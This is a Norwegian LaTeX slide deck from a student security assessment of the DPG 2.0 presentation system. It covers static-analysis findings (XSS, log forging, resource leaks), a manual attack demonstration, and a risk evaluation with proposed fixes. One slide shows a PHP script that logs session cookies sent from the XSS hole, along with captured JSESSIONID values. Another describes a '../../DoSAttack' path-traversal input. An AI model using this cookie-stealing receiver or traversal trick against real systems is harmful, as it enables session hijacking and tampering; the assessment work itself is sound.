	\documentclass[]{beamer}
% Class options include: notes, notesonly, handout, trans,
%                        hidesubsections, shadesubsections,
%                        inrow, blue, red, grey, brown

% Theme for beamer presentation.
\usepackage{beamerthemetree} 
\usepackage[utf8]{inputenc}
\usepackage{graphicx}
% Other themes include: beamerthemebars, beamerthemelined, 
%                       beamerthemetree, beamerthemetreebars  

\title{DPG}    % Enter your title between curly braces
\author{Tobias Rusås Olsen and Lars Hopland Nestås}    % Enter your name between curly braces
\institute{tol060@student.uib.no - lma029@student.uib.no}      % Enter your institute name between curly braces
\date{\today}                    % Enter the date or \today between curly braces
\begin{document}

% Creates title page of slide show using above information
\begin{frame}
  \titlepage
\end{frame}
\note{Talk for 15 minutes} % Add notes to yourself that will be displayed when
                           % typeset with the notes or notesonly class options

\section[Outline]{}

% Creates table of contents slide incorporating
% all \section and \subsection commands
\begin{frame}
  \tableofcontents
\end{frame}

\section{Del 1 - Introduksjon til DPG 2.0}

\begin{frame}
  \frametitle{Del 1}
    Del 1: Introduksjon til DPG 2.0.
    \note{Keep this short, they know a lot more about this than we do.}
\end{frame}

\begin{frame}
  \frametitle{DPG 2.0}
    
      DPG står for Dynamisk Presentasjonsgenerator, som gjenspeiler dens
      mulighet til å lage dynamiske presentasjoner. Systemet baserer seg på
      ideen om presentasjonsmønstre, som promoterer gjenbruk. Systemet har tre
      brukerroller:
      \begin{itemize}
      \item<2-> Presentation Manager
      \item<3-> Presentation Content Editor
      \item<4-> Presentation Viewer
      \end{itemize}
      
    Disse brukerrollene gjenspeiler et sikkerhetsbehov, siden hver rolle har
    forskjellig tilgang.
\end{frame}


\begin{frame}
  \frametitle{Part 1}
    Første sikkerhetsmessige inntrykk av DPG:
   	Fant tidlig svakheter.
   	\begin{itemize}
         \item<2-> Cross-site Scripting-svakhet
         \item<3-> Stacktraces med informasjon om systemet
       \end{itemize}
\end{frame}

\section{Del 2 - Static Analysis}

\begin{frame}
	\frametitle{Del 2 - Static Analysis}
	Del 2: Statisk og manuell analyse
	
\end{frame}

\begin{frame}
	\frametitle{Static analysis}
		Vi gjennomførte en statisk analyse ved hjelp av programmene Fortify Source
		Code Analysis Suite og Findbugs. Dette var hovedfunnene våre:
	\begin{itemize}
      \item<2-> Reflektiv Cross-site Scripting
      \item<3-> System information leak
      \item<4-> Log forging
      \item<5-> Svak unntakshåndtering
      \item<6-> Unreleased resource
    \end{itemize}
\end{frame}

\begin{frame}[fragile]
	\frametitle{Reflected XSS}
	
	Fortify fant bare eksempel på reflected XSS.
	
Eksempel 1:
\begin{tiny}
 \begin{verbatim}
 <% if (request.getParameter("statusMessage") != null) { %>
        <center>
          <span class="statusMessage">
          	${param.statusMessage}
          </span>
        </center>
<% } %>
\end{verbatim}
\end{tiny}
Eksempel 2:

\begin{tiny}
  \begin{verbatim}
<a href="<c:url value='/pce/content/listContent.htm?pid=${param.pid}' />">Back</a>
\end{verbatim}
\end{tiny}

Eksempel 3:

\begin{tiny}
\begin{verbatim}
<h1>Override pattern defaults - '${param.pid}'</h1>
\end{verbatim}
\end{tiny}

\end{frame}

\begin{frame}[fragile]
\frametitle{System information leak}
Det forekommer både printing av stacktraces, og man finner kommenter i
html-koden:

\begin{scriptsize}
\begin{verbatim}
<!-- Ignoring file ${resource.name}  -->
<!-- Show links to page only if page is enabled -->
\end{verbatim}
\end{scriptsize}

\end{frame}

\begin{frame}[fragile]
\frametitle{Log forging}

Fortify rapporterte om log forging i denne kodensnutten:

\begin{tiny}
  \begin{verbatim}
209  public String renderView(String presentationId, String pageId, String viewId) {
210
211        // Locate presentation by id
212        PresentationSpecification presentationSpecification 
                   = presentationSpecificationDao.getById(presentationId);
213        if (presentationSpecification == null) {
214            String errorMessage = "No presentation found by presentation id '" 
                   + presentationId + "'";
215            logger.error(errorMessage);
216            throw new PresentationContentEditorException(errorMessage);
[...]
        }
\end{verbatim}
\end{tiny}


\end{frame}

\begin{frame}[fragile]
\frametitle{Svak unntakshåndtering}

\begin{itemize}
  \item<2-> Kasting av den generelle exceptionklassen Exception
  \item<3-> Fanging av den generelle exceptionklassen Exception
  \item<4-> Tomme catchblokker 
\end{itemize}


\end{frame}

\begin{frame}[fragile]
\frametitle{Unreleased resource}

\begin{tiny}
  \begin{verbatim}
249   // Pattern spec
250        InputStream patternSpecStream = new FileInputStream(patternFolderPath
251                + SEP + "pattern.xml");
252        patternSpecificationDao.importPattern(name, patternSpecStream);
253        patternSpecStream.close();
254
255        logger.debug("Imported pattern spec for '" + name + "'");
256
257        // Plugin pattern
258        InputStream pluginSpecStream = new FileInputStream(patternFolderPath
259                + SEP + "pluginPattern.xml");
260        pluginSpecificationDao.importPluginSpecification(name, pluginSpecStream);
261        patternSpecStream.close();
[...]
276        InputStream javascriptFileStream = new FileInputStream(
277                            stylesheetFolderPath + SEP + fileName
278                    );
[...]
298        InputStream stylesheetFileStream = new FileInputStream(
299                            styleFolderPath + SEP + fileName
300                    );                    
\end{verbatim}
\end{tiny}

\end{frame}

\begin{frame}
	\frametitle{Manuell analyse}
		Vi gjennomførte også en manuell analyse, for å dokumentere flere feil. Dette
		var det vi klarte å få til:
		\begin{itemize}
          \item<2-> Stjele sesjonsid ved hjelp av XSS-svakheten.
          \item<3-> Flytte ressurser ut av påtenkt mappe, som gjorde det mulig
          å kjøre et Denial-of-Service angrep, eller å endre innhold.
          \item<4-> Overkjøring av pattern defaults er sårbart for XSS. 
        \end{itemize}
\end{frame}


\begin{frame}[fragile]
\frametitle{Overta sesjon (1)}

\begin{center}
\includegraphics[width=.7\textwidth]{cookie1.png}
\end{center}

\end{frame}

\begin{frame}[fragile]
\frametitle{Overta sesjon (2)}

\begin{center}
\includegraphics[width=.7\textwidth]{editor.png}
\end{center}

\end{frame}

\begin{frame}[fragile]
\frametitle{Overta sesjon (3)}

\begin{center}
\includegraphics[width=.7\textwidth]{webpage.png}
\end{center}

\end{frame}

\begin{frame}[fragile]
	\frametitle{Overta sesjon (4)}
	
	Vi satt opp en egen server med følgende kodesnutt:
	
	\begin{tiny}  
\begin{verbatim}
  
<?php
    $cookie = $HTTP_GET_VARS["cookie"];
    $file = fopen('cookielog.txt', 'a');
    fwrite($file, date(DATE_RFC822). " - ");
    fwrite($file, $cookie . "\n\n");
?> 
\end{verbatim}
\end{tiny}

Etter hvert som brukerne besøkte siden, fikk vi generert følgende logg:
\begin{tiny}
\begin{verbatim}
Wed, 22 Oct 08 17:11:21 +0200 - JSESSIONID=C054D539EDFF32FFF8746F04C86B3202
Thu, 23 Oct 08 21:00:21 +0200 - JSESSIONID=5A2F85ABCAB150484F0E921E7569CF1E
Fri, 24 Oct 08 10:24:43 +0200 - JSESSIONID=69379CD0B2B64CD5897BDE742F6FE278
Sun, 09 Nov 08 15:52:26 +0100 - JSESSIONID=6D272EC4EFF72E52AC8E67A02F018523
\end{verbatim}
\end{tiny}

\end{frame}

\begin{frame}
	\frametitle{Overskrive default patterns}
	Det er også mulig å legge inn den ondsinnede javascriptkoden direkte i
	headeren på MASTER templaten. Da vil koden kjøres på alle sider i den
	presentasjonen.
\end{frame}

\begin{frame}
	\frametitle{Overskrive default patterns (eks.)}
	\begin{center}
    \includegraphics[width=.7\textwidth]{masterover.png}
    \end{center}
\end{frame}

\begin{frame}
\frametitle{Stimanipulering og overskriving av filer}

Vi klarte å kjøre et DoS-angrep på DPG 2.0 ved å bruke ressursverktøyet mot
Lobby-delen av systemet.

\begin{itemize}
  \item<2-> Ved å lage en mappe med navn ``../../DoSAttack''
vil man opprette en mappe der presentasjonene ligger lagret. Lasting av
Lobby vil nå feile, siden den ikke finner en fil med navn
``DoSAttack/spesifications.xml".
  \item<3-> Ved å bruke stimanipulering kan man også overskriver bilder
  og filer i andre presentasjoner, samt andre viktige konfigurasjonsfiler.
\end{itemize}

\end{frame}

\section{Del 3 - Security Patterns}

\begin{frame}
	\frametitle{Del 3 - Security Patterns}
	\begin{center}
		Del 3 - Security Patterns
	\end{center}
\end{frame}

\begin{frame}
	\frametitle{Riskevaluering}
		Vi brukte de fem første mønstrene fra Security Patterns kapittel 6 for å
		gjennomføre en riskevaluering av et gitt system. Vi valgte oss et realistisk
		scenario: Kurs for et gitt fag.
		
		Riskevaluering består av følgende steg:
		\begin{itemize}
          \item<2-> Security needs identification for Enterprise Assets
          \item<3-> Asset valuation
          \item<4-> Threat assessment
          \item<5-> Vulnerability assessment
          \item<6-> Risk determination
        \end{itemize}
		
\end{frame}

\begin{frame}
\frametitle{Asset valuation}
\begin{center}
\includegraphics[width=190pt]{table2.png}
\end{center}
\end{frame}

\begin{frame}
\frametitle{Vulnerability assessment}
\begin{center}
\includegraphics[width=180pt]{ThreatActionVulnerabilities.png}
\end{center}
\end{frame}

\begin{frame}
\frametitle{Risk determination}
\begin{center}
\includegraphics[width=200pt]{QualitativeRisk.png}
\end{center}
\end{frame}

\begin{frame}
	\frametitle{Evaluering av feil fra del 2 - kode}
		Vi evaluerte funnene fra del 2, og skisserte løsninger. Vår konklusjon var at
		de fleste funn er kodefeil som er lette å ordne opp i. 
	Eksempel: Lukke strøm: Skriv stream.close(); eller for å forhindre tomme catc
	hblokker: som et minimum legge til RunTimeExceptions.
\end{frame}

\begin{frame}
	\frametitle{Evaluering av feil fra del 2 - design}
        Muligheten til å overskrive default patterns er nyttig, men krever høy
        grad av sikkerhet for å kunne brukes, derfor anbefaler vi
        sikkerhetsmønsteret CHECK POINT, som brukes til nettopp dette.
\end{frame}

\end{document}